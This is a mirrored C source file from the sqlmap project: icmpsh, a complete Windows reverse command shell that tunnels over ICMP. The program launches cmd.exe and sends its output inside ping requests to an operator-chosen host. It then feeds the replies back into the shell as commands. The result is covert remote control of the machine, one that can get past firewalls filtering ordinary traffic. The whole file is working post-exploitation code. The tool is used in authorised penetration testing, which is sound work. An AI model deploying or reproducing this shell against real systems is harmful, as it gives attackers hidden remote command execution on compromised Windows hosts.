mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 17:46:37 +03:00
345 lines
9.1 KiB
C
345 lines
9.1 KiB
C
/*
|
|
* icmpsh - simple icmp command shell
|
|
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
|
|
* This program is free software: you can redistribute it and/or modify
|
|
* it under the terms of the GNU General Public License as published by
|
|
* the Free Software Foundation, either version 3 of the License, or
|
|
* (at your option) any later version.
|
|
*
|
|
* This program is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
* GNU General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU General Public License
|
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
*/
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <winsock2.h>
|
|
#include <windows.h>
|
|
#include <winsock2.h>
|
|
#include <iphlpapi.h>
|
|
|
|
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
|
|
|
|
#define STATUS_OK 0
|
|
#define STATUS_SINGLE 1
|
|
#define STATUS_PROCESS_NOT_CREATED 2
|
|
|
|
#define TRANSFER_SUCCESS 1
|
|
#define TRANSFER_FAILURE 0
|
|
|
|
#define DEFAULT_TIMEOUT 3000
|
|
#define DEFAULT_DELAY 200
|
|
#define DEFAULT_MAX_BLANKS 10
|
|
#define DEFAULT_MAX_DATA_SIZE 64
|
|
|
|
FARPROC icmp_create, icmp_send, to_ip;
|
|
|
|
int verbose = 0;
|
|
|
|
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
|
|
{
|
|
SECURITY_ATTRIBUTES sattr;
|
|
STARTUPINFOA si;
|
|
HANDLE in_read, out_write;
|
|
|
|
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
|
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
|
|
|
|
// create communication pipes
|
|
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
|
|
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
|
|
sattr.bInheritHandle = TRUE;
|
|
sattr.lpSecurityDescriptor = NULL;
|
|
|
|
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
|
|
return STATUS_PROCESS_NOT_CREATED;
|
|
}
|
|
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
|
|
return STATUS_PROCESS_NOT_CREATED;
|
|
}
|
|
|
|
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
|
|
return STATUS_PROCESS_NOT_CREATED;
|
|
}
|
|
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
|
|
return STATUS_PROCESS_NOT_CREATED;
|
|
}
|
|
|
|
// spawn process
|
|
memset(&si, 0x00, sizeof(STARTUPINFO));
|
|
si.cb = sizeof(STARTUPINFO);
|
|
si.hStdError = out_write;
|
|
si.hStdOutput = out_write;
|
|
si.hStdInput = in_read;
|
|
si.dwFlags |= STARTF_USESTDHANDLES;
|
|
|
|
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
|
|
return STATUS_PROCESS_NOT_CREATED;
|
|
}
|
|
|
|
CloseHandle(out_write);
|
|
CloseHandle(in_read);
|
|
|
|
return STATUS_OK;
|
|
}
|
|
|
|
void usage(char *path)
|
|
{
|
|
printf("%s [options] -t target\n", path);
|
|
printf("options:\n");
|
|
printf(" -t host host ip address to send ping requests to\n");
|
|
printf(" -r send a single test icmp request and then quit\n");
|
|
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
|
|
printf(" -o milliseconds timeout in milliseconds\n");
|
|
printf(" -h this screen\n");
|
|
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
|
|
printf(" before quitting\n");
|
|
printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
|
|
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
|
|
printf("increase the size (-s) of the data buffer\n");
|
|
}
|
|
|
|
void create_icmp_channel(HANDLE *icmp_chan)
|
|
{
|
|
// create icmp file
|
|
*icmp_chan = (HANDLE) icmp_create();
|
|
}
|
|
|
|
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
|
|
{
|
|
int rs;
|
|
char *temp_in_buf;
|
|
int nbytes;
|
|
|
|
PICMP_ECHO_REPLY echo_reply;
|
|
|
|
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
|
|
if (!temp_in_buf) {
|
|
return TRANSFER_FAILURE;
|
|
}
|
|
|
|
// send data to remote host
|
|
rs = icmp_send(
|
|
icmp_chan,
|
|
target,
|
|
out_buf,
|
|
out_buf_size,
|
|
NULL,
|
|
temp_in_buf,
|
|
max_in_data_size + ICMP_HEADERS_SIZE,
|
|
timeout);
|
|
|
|
// check received data
|
|
if (rs > 0) {
|
|
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
|
|
if (echo_reply->DataSize > max_in_data_size) {
|
|
nbytes = max_in_data_size;
|
|
} else {
|
|
nbytes = echo_reply->DataSize;
|
|
}
|
|
memcpy(in_buf, echo_reply->Data, nbytes);
|
|
*in_buf_size = nbytes;
|
|
|
|
free(temp_in_buf);
|
|
return TRANSFER_SUCCESS;
|
|
}
|
|
|
|
free(temp_in_buf);
|
|
|
|
return TRANSFER_FAILURE;
|
|
}
|
|
|
|
int load_deps()
|
|
{
|
|
HMODULE lib;
|
|
|
|
lib = LoadLibraryA("ws2_32.dll");
|
|
if (lib != NULL) {
|
|
to_ip = GetProcAddress(lib, "inet_addr");
|
|
if (!to_ip) {
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
lib = LoadLibraryA("iphlpapi.dll");
|
|
if (lib != NULL) {
|
|
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
|
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
|
if (icmp_create && icmp_send) {
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
lib = LoadLibraryA("ICMP.DLL");
|
|
if (lib != NULL) {
|
|
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
|
|
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
|
|
if (icmp_create && icmp_send) {
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
printf("failed to load functions (%u)", GetLastError());
|
|
|
|
return 0;
|
|
}
|
|
int main(int argc, char **argv)
|
|
{
|
|
int opt;
|
|
char *target;
|
|
unsigned int delay, timeout;
|
|
unsigned int ip_addr;
|
|
HANDLE pipe_read, pipe_write;
|
|
HANDLE icmp_chan;
|
|
unsigned char *in_buf, *out_buf;
|
|
unsigned int in_buf_size, out_buf_size;
|
|
DWORD rs;
|
|
int blanks, max_blanks;
|
|
PROCESS_INFORMATION pi;
|
|
int status;
|
|
unsigned int max_data_size;
|
|
|
|
// set defaults
|
|
target = 0;
|
|
timeout = DEFAULT_TIMEOUT;
|
|
delay = DEFAULT_DELAY;
|
|
max_blanks = DEFAULT_MAX_BLANKS;
|
|
max_data_size = DEFAULT_MAX_DATA_SIZE;
|
|
|
|
status = STATUS_OK;
|
|
if (!load_deps()) {
|
|
printf("failed to load ICMP library\n");
|
|
return -1;
|
|
}
|
|
|
|
// parse command line options
|
|
for (opt = 1; opt < argc; opt++) {
|
|
if (argv[opt][0] == '-') {
|
|
switch(argv[opt][1]) {
|
|
case 'h':
|
|
usage(*argv);
|
|
return 0;
|
|
case 't':
|
|
if (opt + 1 < argc) {
|
|
target = argv[opt + 1];
|
|
}
|
|
break;
|
|
case 'd':
|
|
if (opt + 1 < argc) {
|
|
delay = atol(argv[opt + 1]);
|
|
}
|
|
break;
|
|
case 'o':
|
|
if (opt + 1 < argc) {
|
|
timeout = atol(argv[opt + 1]);
|
|
}
|
|
break;
|
|
case 'r':
|
|
status = STATUS_SINGLE;
|
|
break;
|
|
case 'b':
|
|
if (opt + 1 < argc) {
|
|
max_blanks = atol(argv[opt + 1]);
|
|
}
|
|
break;
|
|
case 's':
|
|
if (opt + 1 < argc) {
|
|
max_data_size = atol(argv[opt + 1]);
|
|
}
|
|
break;
|
|
default:
|
|
printf("unrecognized option -%c\n", argv[1][0]);
|
|
usage(*argv);
|
|
return -1;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!target) {
|
|
printf("you need to specify a host with -t. Try -h for more options\n");
|
|
return -1;
|
|
}
|
|
ip_addr = to_ip(target);
|
|
|
|
// don't spawn a shell if we're only sending a single test request
|
|
if (status != STATUS_SINGLE) {
|
|
status = spawn_shell(&pi, &pipe_read, &pipe_write);
|
|
}
|
|
|
|
// create icmp channel
|
|
create_icmp_channel(&icmp_chan);
|
|
if (icmp_chan == INVALID_HANDLE_VALUE) {
|
|
printf("unable to create ICMP file: %u\n", GetLastError());
|
|
return -1;
|
|
}
|
|
|
|
// allocate transfer buffers
|
|
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
|
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
|
|
if (!in_buf || !out_buf) {
|
|
printf("failed to allocate memory for transfer buffers\n");
|
|
return -1;
|
|
}
|
|
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
|
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
|
|
|
|
// sending/receiving loop
|
|
blanks = 0;
|
|
do {
|
|
|
|
switch(status) {
|
|
case STATUS_SINGLE:
|
|
// reply with a static string
|
|
out_buf_size = sprintf(out_buf, "Test1234\n");
|
|
break;
|
|
case STATUS_PROCESS_NOT_CREATED:
|
|
// reply with error message
|
|
out_buf_size = sprintf(out_buf, "Process was not created\n");
|
|
break;
|
|
default:
|
|
// read data from process via pipe
|
|
out_buf_size = 0;
|
|
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
|
|
if (out_buf_size > 0) {
|
|
out_buf_size = 0;
|
|
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
|
|
if (!rs && GetLastError() != ERROR_IO_PENDING) {
|
|
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
|
|
}
|
|
}
|
|
} else {
|
|
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
|
|
}
|
|
break;
|
|
}
|
|
|
|
// send request/receive response
|
|
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
|
|
if (status == STATUS_OK) {
|
|
// write data from response back into pipe
|
|
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
|
|
}
|
|
blanks = 0;
|
|
} else {
|
|
// no reply received or error occured
|
|
blanks++;
|
|
}
|
|
|
|
// wait between requests
|
|
Sleep(delay);
|
|
|
|
} while (status == STATUS_OK && blanks < max_blanks);
|
|
|
|
if (status == STATUS_OK) {
|
|
TerminateProcess(pi.hProcess, 0);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|